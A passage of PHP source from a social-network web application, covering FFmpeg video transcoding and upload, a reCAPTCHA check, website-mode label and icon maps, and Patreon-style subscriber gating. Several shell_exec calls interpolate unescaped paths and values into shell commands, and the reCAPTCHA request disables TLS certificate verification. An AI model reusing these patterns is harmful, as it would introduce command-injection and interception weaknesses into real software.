26 $video_output_full_path_240 2>&1"); $data['post_data']['postFile'] = $video_path_240; $data['id'] = Wo_RegisterPost($data['post_data']); if (file_exists($video_output_full_path_240)) { if ($wo['config']['amazone_s3'] == 1 || $wo['config']['wasabi_storage'] == 1 || $wo['config']['ftp_upload'] == 1 || $wo['config']['spaces'] == 1 || $wo['config']['cloud_upload'] == 1) { $upload_s3 = Wo_UploadToS3($video_path_240); } $processing = 0; if ($resolution >= 640 || $resolution == 0) { $processing = 1; } $db->where('id', $data['id'])->update(T_POSTS, array( '240p' => 1, 'processing' => $processing )); $notification_data_array = array( 'recipient_id' => $wo['user']['user_id'], 'type' => 'admin_notification', 'time' => time(), 'url' => 'index.php?link1=post&id=' . $data['id'], 'text' => $wo['lang']['video_ready_to_view'], 'type2' => 'ffmpeg' ); $db->insert(T_NOTIFICATION, $notification_data_array); } if (empty($data['video_thumb'])) { $uniq_id = rand(1111, 9999); $hash = sha1(time() + time() - rand(9999, 9999)) . Wo_GenerateKey(); $file_thumb = "upload/photos/" . date('Y') . '/' . date('m') . "/$hash.video_thumb_$uniq_id" . ".jpeg"; $thumb = $dir . "/" . $file_thumb; shell_exec("$ffmpeg_b -ss \"$time\" -i $video_file_full_path -vframes 1 -f mjpeg $thumb 2<&1"); if ($wo['config']['amazone_s3'] == 1 || $wo['config']['wasabi_storage'] == 1 || $wo['config']['ftp_upload'] == 1 || $wo['config']['spaces'] == 1 || $wo['config']['cloud_upload'] == 1) { $upload_s3 = Wo_UploadToS3($file_thumb); } $db->where('id', $data['id'])->update(T_POSTS, array( 'postFileThumb' => $file_thumb )); } if ($resolution >= 640 || $resolution == 0) { $shell = shell_exec("$ffmpeg_b -y -i $video_file_full_path -vcodec libx264 -preset " . $wo['config']['convert_speed'] . " -filter:v scale=640:-2 -crf 26 $video_output_full_path_360 2>&1"); if (file_exists($video_output_full_path_360)) { if ($wo['config']['amazone_s3'] == 1 || $wo['config']['wasabi_storage'] == 1 || $wo['config']['ftp_upload'] == 1 || $wo['config']['spaces'] == 1 || $wo['config']['cloud_upload'] == 1) { $upload_s3 = Wo_UploadToS3($video_path_360); } $db->where('id', $data['id'])->update(T_POSTS, array( '360p' => 1 )); } } if ($resolution >= 854 || $resolution == 0) { $shell = shell_exec("$ffmpeg_b -y -i $video_file_full_path -vcodec libx264 -preset " . $wo['config']['convert_speed'] . " -filter:v scale=854:-2 -crf 26 $video_output_full_path_480 2>&1"); if (file_exists($video_output_full_path_480)) { if ($wo['config']['amazone_s3'] == 1 || $wo['config']['wasabi_storage'] == 1 || $wo['config']['ftp_upload'] == 1 || $wo['config']['spaces'] == 1 || $wo['config']['cloud_upload'] == 1) { $upload_s3 = Wo_UploadToS3($video_path_480); } $db->where('id', $data['id'])->update(T_POSTS, array( '480p' => 1 )); } } if ($resolution >= 1280 || $resolution == 0) { $shell = shell_exec("$ffmpeg_b -y -i $video_file_full_path -vcodec libx264 -preset " . $wo['config']['convert_speed'] . " -filter:v scale=1280:-2 -crf 26 $video_output_full_path_720 2>&1"); if (file_exists($video_output_full_path_720)) { if ($wo['config']['amazone_s3'] == 1 || $wo['config']['wasabi_storage'] == 1 || $wo['config']['ftp_upload'] == 1 || $wo['config']['spaces'] == 1 || $wo['config']['cloud_upload'] == 1) { $upload_s3 = Wo_UploadToS3($video_path_720); } $db->where('id', $data['id'])->update(T_POSTS, array( '720p' => 1 )); } } if ($resolution >= 1920 || $resolution == 0) { $shell = shell_exec("$ffmpeg_b -y -i $video_file_full_path -vcodec libx264 -preset " . $wo['config']['convert_speed'] . " -filter:v scale=1920:-2 -crf 26 $video_output_full_path_1080 2>&1"); if (file_exists($video_output_full_path_1080)) { if ($wo['config']['amazone_s3'] == 1 || $wo['config']['wasabi_storage'] == 1 || $wo['config']['ftp_upload'] == 1 || $wo['config']['spaces'] == 1 || $wo['config']['cloud_upload'] == 1) { $upload_s3 = Wo_UploadToS3($video_path_1080); } $db->where('id', $data['id'])->update(T_POSTS, array( '1080p' => 1 )); } } if ($resolution >= 2048 || $resolution == 0) { $shell = shell_exec("$ffmpeg_b -y -i $video_file_full_path -vcodec libx264 -preset " . $wo['config']['convert_speed'] . " -filter:v scale=2048:-2 -crf 26 $video_output_full_path_2048 2>&1"); if (file_exists($video_output_full_path_2048)) { if ($wo['config']['amazone_s3'] == 1 || $wo['config']['wasabi_storage'] == 1 || $wo['config']['ftp_upload'] == 1 || $wo['config']['spaces'] == 1 || $wo['config']['cloud_upload'] == 1) { $upload_s3 = Wo_UploadToS3($video_path_2048); } $db->where('id', $data['id'])->update(T_POSTS, array( '2048p' => 1 )); } } if ($resolution >= 3840 || $resolution == 0) { $shell = shell_exec("$ffmpeg_b -y -i $video_file_full_path -vcodec libx264 -preset " . $wo['config']['convert_speed'] . " -filter:v scale=3840:-2 -crf 26 $video_output_full_path_4096 2>&1"); if (file_exists($video_output_full_path_4096)) { if ($wo['config']['amazone_s3'] == 1 || $wo['config']['wasabi_storage'] == 1 || $wo['config']['ftp_upload'] == 1 || $wo['config']['spaces'] == 1 || $wo['config']['cloud_upload'] == 1) { $upload_s3 = Wo_UploadToS3($video_path_4096); } $db->where('id', $data['id'])->update(T_POSTS, array( '4096p' => 1 )); } } $db->where('id', $data['id'])->update(T_POSTS, array( 'processing' => 0 )); @unlink($video_file_full_path); return $data['id']; } function Check_Recaptcha($recaptcha_data) { if (empty($recaptcha_data) || !is_array($recaptcha_data)) { return false; } $verify = curl_init(); curl_setopt($verify, CURLOPT_URL, "https://www.google.com/recaptcha/api/siteverify"); curl_setopt($verify, CURLOPT_POST, true); curl_setopt($verify, CURLOPT_POSTFIELDS, http_build_query($recaptcha_data)); curl_setopt($verify, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($verify, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($verify); return json_decode($response); } function ffmpeg_duration($filename = false) { global $wo; $ffmpeg_b = $wo['config']['ffmpeg_binary_file']; $output = shell_exec("$ffmpeg_b -i {$filename} 2>&1"); $ptrn = '/Duration: ([0-9]{2}):([0-9]{2}):([^ ,])+/'; $time = 30; if (preg_match($ptrn, $output, $matches)) { $time = str_replace("Duration: ", "", $matches[0]); $time_breakdown = explode(":", $time); $time = round(($time_breakdown[0] * 60 * 60) + ($time_breakdown[1] * 60) + $time_breakdown[2]); } return $time; } function GetReview($id) { global $wo, $sqlConnect, $db; if (empty($id) || !is_numeric($id)) { return false; } $review = $db->where('id', Wo_Secure($id))->getOne(T_PRODUCT_REVIEW); $images = $db->where('review_id', $review->id)->get(T_ALBUMS_MEDIA); $images_data = array(); foreach ($images as $key => $value) { $new = array(); $new['org_image'] = $value->image; $new['image'] = Wo_GetMedia($value->image); $review->images[] = $new; } $review->user_data = Wo_UserData($review->user_id); return $review; } function EnableForMode($value, $class = false, $title = false) { global $wo, $sqlConnect, $db; if (empty($value)) { return true; } if ((!empty($wo['website_modes_off']) && !empty($wo['website_modes_off'][$wo['config']['website_mode']]) && in_array($value, $wo['website_modes_off'][$wo['config']['website_mode']]))) { if ($class == true) { return 'ch_light_color'; } if ($title == true) { return 'title="Your website in ' . ucfirst($wo['config']['website_mode']) . ' Mode You will not be able to enable this feature"'; } return 'disabled'; } return true; } function TextForMode($value) { global $wo, $sqlConnect, $db; if (empty($value)) { return ''; } $wo['website_modes_text'] = array( 'askfm' => array( 'write_comment' => 'write_answer', 'publisher_box_placeholder' => 'askfm_box_placeholder', 'post_mention' => 'question_mention', 'posted_on_timeline' => 'asked_you_a_question', 'liked_post' => 'liked_question', 'commented_on_post' => 'answered_your_question', 'replied_to_comment' => 'replied_to_answer', 'popular_posts' => 'trending_questions', 'popular_posts_comments' => 'trending_questions', 'users_liked_post' => 'people_liked_question', 'users_liked_comment' => 'users_liked_answer', 'no_comments_found' => 'no_answers_found', 'search_header_label' => 'search_header_people', 'share' => 'ask', 'posts' => 'questions', 'reply_to_comment' => 'reply_to_answer', 'comment_mention' => 'answer_mention' ), 'twitter' => array( 'share' => 'tweet', 'posts' => 'tweets', 'popular_posts' => 'trending_tweets', 'popular_posts_comments' => 'trending_tweets', 'users_liked_post' => 'people_liked_tweet', 'liked_post' => 'liked_tweet' ), 'instagram' => array( 'search_header_label' => 'search_header_people' ) ); if (!empty($wo['website_modes_text'][$wo['config']['website_mode']]) && !empty($wo['website_modes_text'][$wo['config']['website_mode']][$value])) { if (!empty($wo['notification']) && !empty($wo['notification']['post_id'])) { $is_live = $db->where('post_id', $wo['notification']['post_id'])->where("live_time", 0, '!=')->getValue(T_POSTS, 'COUNT(*)'); if ($is_live > 0) { return $wo['lang'][$value]; } } return $wo['lang'][$wo['website_modes_text'][$wo['config']['website_mode']][$value]]; } return $wo['lang'][$value]; } function GetModeBtn($value) { global $wo, $sqlConnect, $db; if (empty($value)) { return ''; } $wo['website_modes_btn'] = array( 'askfm' => array( 'liked_btn' => '<span class="active-like"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24"><path d="M12 4.419c-2.826-5.695-11.999-4.064-11.999 3.27 0 7.27 9.903 10.938 11.999 15.311 2.096-4.373 12-8.041 12-15.311 0-7.327-9.17-8.972-12-3.27z"/></svg></span>', 'like_btn' => '<svg width="24" height="24" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M12 21.593c-5.63-5.539-11-10.297-11-14.402 0-3.791 3.068-5.191 5.281-5.191 1.312 0 4.151.501 5.719 4.457 1.59-3.968 4.464-4.447 5.726-4.447 2.54 0 5.274 1.621 5.274 5.181 0 4.069-5.136 8.625-11 14.402m5.726-20.583c-2.203 0-4.446 1.042-5.726 3.238-1.285-2.206-3.522-3.248-5.719-3.248-3.183 0-6.281 2.187-6.281 6.191 0 4.661 5.571 9.429 12 15.809 6.43-6.38 12-11.148 12-15.809 0-4.011-3.095-6.181-6.274-6.181"/></svg>', 'comments_btn' => '<svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24"><path fill="currentColor" d="M9,22A1,1 0 0,1 8,21V18H4A2,2 0 0,1 2,16V4C2,2.89 2.9,2 4,2H20A2,2 0 0,1 22,4V16A2,2 0 0,1 20,18H13.9L10.2,21.71C10,21.9 9.75,22 9.5,22V22H9Z" /></svg>', 'share_btn' => '<svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24"><path fill="currentColor" d="M18,16.08C17.24,16.08 16.56,16.38 16.04,16.85L8.91,12.7C8.96,12.47 9,12.24 9,12C9,11.76 8.96,11.53 8.91,11.3L15.96,7.19C16.5,7.69 17.21,8 18,8A3,3 0 0,0 21,5A3,3 0 0,0 18,2A3,3 0 0,0 15,5C15,5.24 15.04,5.47 15.09,5.7L8.04,9.81C7.5,9.31 6.79,9 6,9A3,3 0 0,0 3,12A3,3 0 0,0 6,15C6.79,15 7.5,14.69 8.04,14.19L15.16,18.34C15.11,18.55 15.08,18.77 15.08,19C15.08,20.61 16.39,21.91 18,21.91C19.61,21.91 20.92,20.61 20.92,19A2.92,2.92 0 0,0 18,16.08Z"></path></svg>', 'like_icon' => '<svg width="24" height="24" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M12 21.593c-5.63-5.539-11-10.297-11-14.402 0-3.791 3.068-5.191 5.281-5.191 1.312 0 4.151.501 5.719 4.457 1.59-3.968 4.464-4.447 5.726-4.447 2.54 0 5.274 1.621 5.274 5.181 0 4.069-5.136 8.625-11 14.402m5.726-20.583c-2.203 0-4.446 1.042-5.726 3.238-1.285-2.206-3.522-3.248-5.719-3.248-3.183 0-6.281 2.187-6.281 6.191 0 4.661 5.571 9.429 12 15.809 6.43-6.38 12-11.148 12-15.809 0-4.011-3.095-6.181-6.274-6.181"/></svg>', 'liked_comment' => '<svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" class="feather"><path d="M12 4.419c-2.826-5.695-11.999-4.064-11.999 3.27 0 7.27 9.903 10.938 11.999 15.311 2.096-4.373 12-8.041 12-15.311 0-7.327-9.17-8.972-12-3.27z"/></svg>', 'like_comment' => '<svg width="24" height="24" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" class="feather"><path d="M12 21.593c-5.63-5.539-11-10.297-11-14.402 0-3.791 3.068-5.191 5.281-5.191 1.312 0 4.151.501 5.719 4.457 1.59-3.968 4.464-4.447 5.726-4.447 2.54 0 5.274 1.621 5.274 5.181 0 4.069-5.136 8.625-11 14.402m5.726-20.583c-2.203 0-4.446 1.042-5.726 3.238-1.285-2.206-3.522-3.248-5.719-3.248-3.183 0-6.281 2.187-6.281 6.191 0 4.661 5.571 9.429 12 15.809 6.43-6.38 12-11.148 12-15.809 0-4.011-3.095-6.181-6.274-6.181"/></svg>' ), 'twitter' => array( 'liked_btn' => '<span class="active-like"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24"><path d="M12 4.419c-2.826-5.695-11.999-4.064-11.999 3.27 0 7.27 9.903 10.938 11.999 15.311 2.096-4.373 12-8.041 12-15.311 0-7.327-9.17-8.972-12-3.27z"/></svg></span>', 'like_btn' => '<svg width="24" height="24" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M12 21.593c-5.63-5.539-11-10.297-11-14.402 0-3.791 3.068-5.191 5.281-5.191 1.312 0 4.151.501 5.719 4.457 1.59-3.968 4.464-4.447 5.726-4.447 2.54 0 5.274 1.621 5.274 5.181 0 4.069-5.136 8.625-11 14.402m5.726-20.583c-2.203 0-4.446 1.042-5.726 3.238-1.285-2.206-3.522-3.248-5.719-3.248-3.183 0-6.281 2.187-6.281 6.191 0 4.661 5.571 9.429 12 15.809 6.43-6.38 12-11.148 12-15.809 0-4.011-3.095-6.181-6.274-6.181"/></svg>', 'comments_btn' => '<svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24"><path fill="currentColor" d="M9,22A1,1 0 0,1 8,21V18H4A2,2 0 0,1 2,16V4C2,2.89 2.9,2 4,2H20A2,2 0 0,1 22,4V16A2,2 0 0,1 20,18H13.9L10.2,21.71C10,21.9 9.75,22 9.5,22V22H9Z" /></svg>', 'share_btn' => '<svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24"><path fill="currentColor" d="M18,16.08C17.24,16.08 16.56,16.38 16.04,16.85L8.91,12.7C8.96,12.47 9,12.24 9,12C9,11.76 8.96,11.53 8.91,11.3L15.96,7.19C16.5,7.69 17.21,8 18,8A3,3 0 0,0 21,5A3,3 0 0,0 18,2A3,3 0 0,0 15,5C15,5.24 15.04,5.47 15.09,5.7L8.04,9.81C7.5,9.31 6.79,9 6,9A3,3 0 0,0 3,12A3,3 0 0,0 6,15C6.79,15 7.5,14.69 8.04,14.19L15.16,18.34C15.11,18.55 15.08,18.77 15.08,19C15.08,20.61 16.39,21.91 18,21.91C19.61,21.91 20.92,20.61 20.92,19A2.92,2.92 0 0,0 18,16.08Z"></path></svg>', 'like_icon' => '<svg width="24" height="24" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M12 21.593c-5.63-5.539-11-10.297-11-14.402 0-3.791 3.068-5.191 5.281-5.191 1.312 0 4.151.501 5.719 4.457 1.59-3.968 4.464-4.447 5.726-4.447 2.54 0 5.274 1.621 5.274 5.181 0 4.069-5.136 8.625-11 14.402m5.726-20.583c-2.203 0-4.446 1.042-5.726 3.238-1.285-2.206-3.522-3.248-5.719-3.248-3.183 0-6.281 2.187-6.281 6.191 0 4.661 5.571 9.429 12 15.809 6.43-6.38 12-11.148 12-15.809 0-4.011-3.095-6.181-6.274-6.181"/></svg>', 'liked_comment' => '<svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" class="feather"><path d="M12 4.419c-2.826-5.695-11.999-4.064-11.999 3.27 0 7.27 9.903 10.938 11.999 15.311 2.096-4.373 12-8.041 12-15.311 0-7.327-9.17-8.972-12-3.27z"/></svg>', 'like_comment' => '<svg width="24" height="24" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" class="feather"><path d="M12 21.593c-5.63-5.539-11-10.297-11-14.402 0-3.791 3.068-5.191 5.281-5.191 1.312 0 4.151.501 5.719 4.457 1.59-3.968 4.464-4.447 5.726-4.447 2.54 0 5.274 1.621 5.274 5.181 0 4.069-5.136 8.625-11 14.402m5.726-20.583c-2.203 0-4.446 1.042-5.726 3.238-1.285-2.206-3.522-3.248-5.719-3.248-3.183 0-6.281 2.187-6.281 6.191 0 4.661 5.571 9.429 12 15.809 6.43-6.38 12-11.148 12-15.809 0-4.011-3.095-6.181-6.274-6.181"/></svg>' ), 'instagram' => array( 'liked_btn' => '<span class="active-like"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24"><path d="M12 4.419c-2.826-5.695-11.999-4.064-11.999 3.27 0 7.27 9.903 10.938 11.999 15.311 2.096-4.373 12-8.041 12-15.311 0-7.327-9.17-8.972-12-3.27z"/></svg></span>', 'like_btn' => '<svg width="24" height="24" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M12 21.593c-5.63-5.539-11-10.297-11-14.402 0-3.791 3.068-5.191 5.281-5.191 1.312 0 4.151.501 5.719 4.457 1.59-3.968 4.464-4.447 5.726-4.447 2.54 0 5.274 1.621 5.274 5.181 0 4.069-5.136 8.625-11 14.402m5.726-20.583c-2.203 0-4.446 1.042-5.726 3.238-1.285-2.206-3.522-3.248-5.719-3.248-3.183 0-6.281 2.187-6.281 6.191 0 4.661 5.571 9.429 12 15.809 6.43-6.38 12-11.148 12-15.809 0-4.011-3.095-6.181-6.274-6.181"/></svg>', 'comments_btn' => '<svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24"><path fill="currentColor" d="M9,22A1,1 0 0,1 8,21V18H4A2,2 0 0,1 2,16V4C2,2.89 2.9,2 4,2H20A2,2 0 0,1 22,4V16A2,2 0 0,1 20,18H13.9L10.2,21.71C10,21.9 9.75,22 9.5,22V22H9Z" /></svg>', 'share_btn' => '<svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24"><path fill="currentColor" d="M18,16.08C17.24,16.08 16.56,16.38 16.04,16.85L8.91,12.7C8.96,12.47 9,12.24 9,12C9,11.76 8.96,11.53 8.91,11.3L15.96,7.19C16.5,7.69 17.21,8 18,8A3,3 0 0,0 21,5A3,3 0 0,0 18,2A3,3 0 0,0 15,5C15,5.24 15.04,5.47 15.09,5.7L8.04,9.81C7.5,9.31 6.79,9 6,9A3,3 0 0,0 3,12A3,3 0 0,0 6,15C6.79,15 7.5,14.69 8.04,14.19L15.16,18.34C15.11,18.55 15.08,18.77 15.08,19C15.08,20.61 16.39,21.91 18,21.91C19.61,21.91 20.92,20.61 20.92,19A2.92,2.92 0 0,0 18,16.08Z"></path></svg>', 'like_icon' => '<svg width="24" height="24" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M12 21.593c-5.63-5.539-11-10.297-11-14.402 0-3.791 3.068-5.191 5.281-5.191 1.312 0 4.151.501 5.719 4.457 1.59-3.968 4.464-4.447 5.726-4.447 2.54 0 5.274 1.621 5.274 5.181 0 4.069-5.136 8.625-11 14.402m5.726-20.583c-2.203 0-4.446 1.042-5.726 3.238-1.285-2.206-3.522-3.248-5.719-3.248-3.183 0-6.281 2.187-6.281 6.191 0 4.661 5.571 9.429 12 15.809 6.43-6.38 12-11.148 12-15.809 0-4.011-3.095-6.181-6.274-6.181"/></svg>', 'liked_comment' => '<svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" class="feather"><path d="M12 4.419c-2.826-5.695-11.999-4.064-11.999 3.27 0 7.27 9.903 10.938 11.999 15.311 2.096-4.373 12-8.041 12-15.311 0-7.327-9.17-8.972-12-3.27z"/></svg>', 'like_comment' => '<svg width="24" height="24" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" class="feather"><path d="M12 21.593c-5.63-5.539-11-10.297-11-14.402 0-3.791 3.068-5.191 5.281-5.191 1.312 0 4.151.501 5.719 4.457 1.59-3.968 4.464-4.447 5.726-4.447 2.54 0 5.274 1.621 5.274 5.181 0 4.069-5.136 8.625-11 14.402m5.726-20.583c-2.203 0-4.446 1.042-5.726 3.238-1.285-2.206-3.522-3.248-5.719-3.248-3.183 0-6.281 2.187-6.281 6.191 0 4.661 5.571 9.429 12 15.809 6.43-6.38 12-11.148 12-15.809 0-4.011-3.095-6.181-6.274-6.181"/></svg>' ) ); if (!empty($wo['website_modes_btn'][$wo['config']['website_mode']]) && !empty($wo['website_modes_btn'][$wo['config']['website_mode']][$value])) { return $wo['website_modes_btn'][$wo['config']['website_mode']][$value]; } if ($wo['config']['theme'] == 'sunshine') { $btns = array( 'liked_btn' => '<span class="active-like"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-thumbs-up"><path d="M14 9V5a3 3 0 0 0-3-3l-4 9v11h11.28a2 2 0 0 0 2-1.7l1.38-9a2 2 0 0 0-2-2.3zM7 22H4a2 2 0 0 1-2-2v-7a2 2 0 0 1 2-2h3"></path></svg> ' . $wo['lang']['liked'] . '</span>', 'like_btn' => '<svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24"> <path fill="currentColor" d="M23,10C23,8.89 22.1,8 21,8H14.68L15.64,3.43C15.66,3.33 15.67,3.22 15.67,3.11C15.67,2.7 15.5,2.32 15.23,2.05L14.17,1L7.59,7.58C7.22,7.95 7,8.45 7,9V19A2,2 0 0,0 9,21H18C18.83,21 19.54,20.5 19.84,19.78L22.86,12.73C22.95,12.5 23,12.26 23,12V10M1,21H5V9H1V21Z"></path> </svg> ' . $wo['lang']['like'], 'comments_btn' => '<svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24"><path fill="currentColor" d="M9,22A1,1 0 0,1 8,21V18H4A2,2 0 0,1 2,16V4C2,2.89 2.9,2 4,2H20A2,2 0 0,1 22,4V16A2,2 0 0,1 20,18H13.9L10.2,21.71C10,21.9 9.75,22 9.5,22V22H9Z" /></svg><span class="like-btn-mobile">' . $wo['lang']['comment_post_label'] . '</span>', 'share_btn' => '<svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24"><path fill="currentColor" d="M18,16.08C17.24,16.08 16.56,16.38 16.04,16.85L8.91,12.7C8.96,12.47 9,12.24 9,12C9,11.76 8.96,11.53 8.91,11.3L15.96,7.19C16.5,7.69 17.21,8 18,8A3,3 0 0,0 21,5A3,3 0 0,0 18,2A3,3 0 0,0 15,5C15,5.24 15.04,5.47 15.09,5.7L8.04,9.81C7.5,9.31 6.79,9 6,9A3,3 0 0,0 3,12A3,3 0 0,0 6,15C6.79,15 7.5,14.69 8.04,14.19L15.16,18.34C15.11,18.55 15.08,18.77 15.08,19C15.08,20.61 16.39,21.91 18,21.91C19.61,21.91 20.92,20.61 20.92,19A2.92,2.92 0 0,0 18,16.08Z"></path></svg><span class="like-btn-mobile">' . $wo['lang']['share'] . '</span>', 'like_icon' => '<svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-thumbs-up"><path d="M14 9V5a3 3 0 0 0-3-3l-4 9v11h11.28a2 2 0 0 0 2-1.7l1.38-9a2 2 0 0 0-2-2.3zM7 22H4a2 2 0 0 1-2-2v-7a2 2 0 0 1 2-2h3"></path></svg>', 'liked_comment' => '<svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-thumbs-up active-like"><path d="M14 9V5a3 3 0 0 0-3-3l-4 9v11h11.28a2 2 0 0 0 2-1.7l1.38-9a2 2 0 0 0-2-2.3zM7 22H4a2 2 0 0 1-2-2v-7a2 2 0 0 1 2-2h3"></path></svg>', 'like_comment' => '<svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-thumbs-up"><path d="M14 9V5a3 3 0 0 0-3-3l-4 9v11h11.28a2 2 0 0 0 2-1.7l1.38-9a2 2 0 0 0-2-2.3zM7 22H4a2 2 0 0 1-2-2v-7a2 2 0 0 1 2-2h3"></path></svg>' ); } else { $btns = array( 'liked_btn' => '<span class="active-like"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-thumbs-up"><path d="M14 9V5a3 3 0 0 0-3-3l-4 9v11h11.28a2 2 0 0 0 2-1.7l1.38-9a2 2 0 0 0-2-2.3zM7 22H4a2 2 0 0 1-2-2v-7a2 2 0 0 1 2-2h3"></path></svg> ' . $wo['lang']['liked'] . '</span>', 'like_btn' => '<svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-thumbs-up"><path d="M14 9V5a3 3 0 0 0-3-3l-4 9v11h11.28a2 2 0 0 0 2-1.7l1.38-9a2 2 0 0 0-2-2.3zM7 22H4a2 2 0 0 1-2-2v-7a2 2 0 0 1 2-2h3"></path></svg> ' . $wo['lang']['like'], 'comments_btn' => '<svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-message-circle"><path d="M21 11.5a8.38 8.38 0 0 1-.9 3.8 8.5 8.5 0 0 1-7.6 4.7 8.38 8.38 0 0 1-3.8-.9L3 21l1.9-5.7a8.38 8.38 0 0 1-.9-3.8 8.5 8.5 0 0 1 4.7-7.6 8.38 8.38 0 0 1 3.8-.9h.5a8.48 8.48 0 0 1 8 8v.5z"></path></svg> <span class="like-btn-mobile">' . $wo['lang']['comment_post_label'] . '</span> ', 'share_btn' => '<svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-share-2"><circle cx="18" cy="5" r="3"></circle><circle cx="6" cy="12" r="3"></circle><circle cx="18" cy="19" r="3"></circle><line x1="8.59" y1="13.51" x2="15.42" y2="17.49"></line><line x1="15.41" y1="6.51" x2="8.59" y2="10.49"></line></svg> <span class="like-btn-mobile">' . $wo['lang']['share'] . '</span>', 'like_icon' => '<svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-thumbs-up"><path d="M14 9V5a3 3 0 0 0-3-3l-4 9v11h11.28a2 2 0 0 0 2-1.7l1.38-9a2 2 0 0 0-2-2.3zM7 22H4a2 2 0 0 1-2-2v-7a2 2 0 0 1 2-2h3"></path></svg>', 'liked_comment' => '<svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-thumbs-up active-like"><path d="M14 9V5a3 3 0 0 0-3-3l-4 9v11h11.28a2 2 0 0 0 2-1.7l1.38-9a2 2 0 0 0-2-2.3zM7 22H4a2 2 0 0 1-2-2v-7a2 2 0 0 1 2-2h3"></path></svg>', 'like_comment' => '<svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-thumbs-up"><path d="M14 9V5a3 3 0 0 0-3-3l-4 9v11h11.28a2 2 0 0 0 2-1.7l1.38-9a2 2 0 0 0-2-2.3zM7 22H4a2 2 0 0 1-2-2v-7a2 2 0 0 1 2-2h3"></path></svg>' ); } return $btns[$value]; } function PatreonPostBlur() { global $wo, $sqlConnect, $db; if ($wo['config']['website_mode'] != 'patreon') { return ''; } if ($wo['loggedin'] == false) { return 'filter: blur(3px);'; } if ($wo['story']['user_id'] == $wo['user']['id'] || Wo_IsAdmin()) { return ''; } $is_subscribed = $db->where('user_id', $wo['story']['user_id'])->where('subscriber_id', $wo['user']['id'])->getValue(T_PATREON_SUBSCRIBERS, 'COUNT(*)'); if ($is_subscribed > 0) { return ''; } return 'filter: blur(3px);'; } function PatreonSubscribed($user_id) { global $wo, $sqlConnect, $db; if ($wo['config']['website_mode'] != 'patreon') { return true; } if ($wo['loggedin'] == false) { return false; } if (empty($user_id) || !is_numeric($user_id)) { return false; } if ($user_id == $wo['user']['id'] || Wo_IsAdmin()) { return true; } $is_subscribed = $db->where('user_id', $user_id)->where('subscriber_id', $wo['user']['id'])->getValue(T_PATREON_SUBSCRIBERS, 'COUNT(*)'); if ($is_subscribed > 0) { return true; } return false; } function PatreonPostSubscribed($user_id, $post_id) { global $wo, $sqlConnect, $db; if ($wo['config']['website_mode'] != 'patreon') { return true; } if ($wo['loggedin'] == false) { return false; } if (empty($user_id) || !is_numeric($user_id) || empty($post_id) || !is_numeric($post_id)) { return false; } if ($user_id == $wo['user']['id'] || Wo_IsAdmin()) { return true; } $post_patron = $db->where('id', Wo_Secure($post_id))->where('user_id', Wo_Secure($user_id))->where('postPrivacy', '5')->getValue(T_POSTS, 'COUNT(*)'); if ($post_patron > 0) { $is_subscribed = $db->where('user_id', 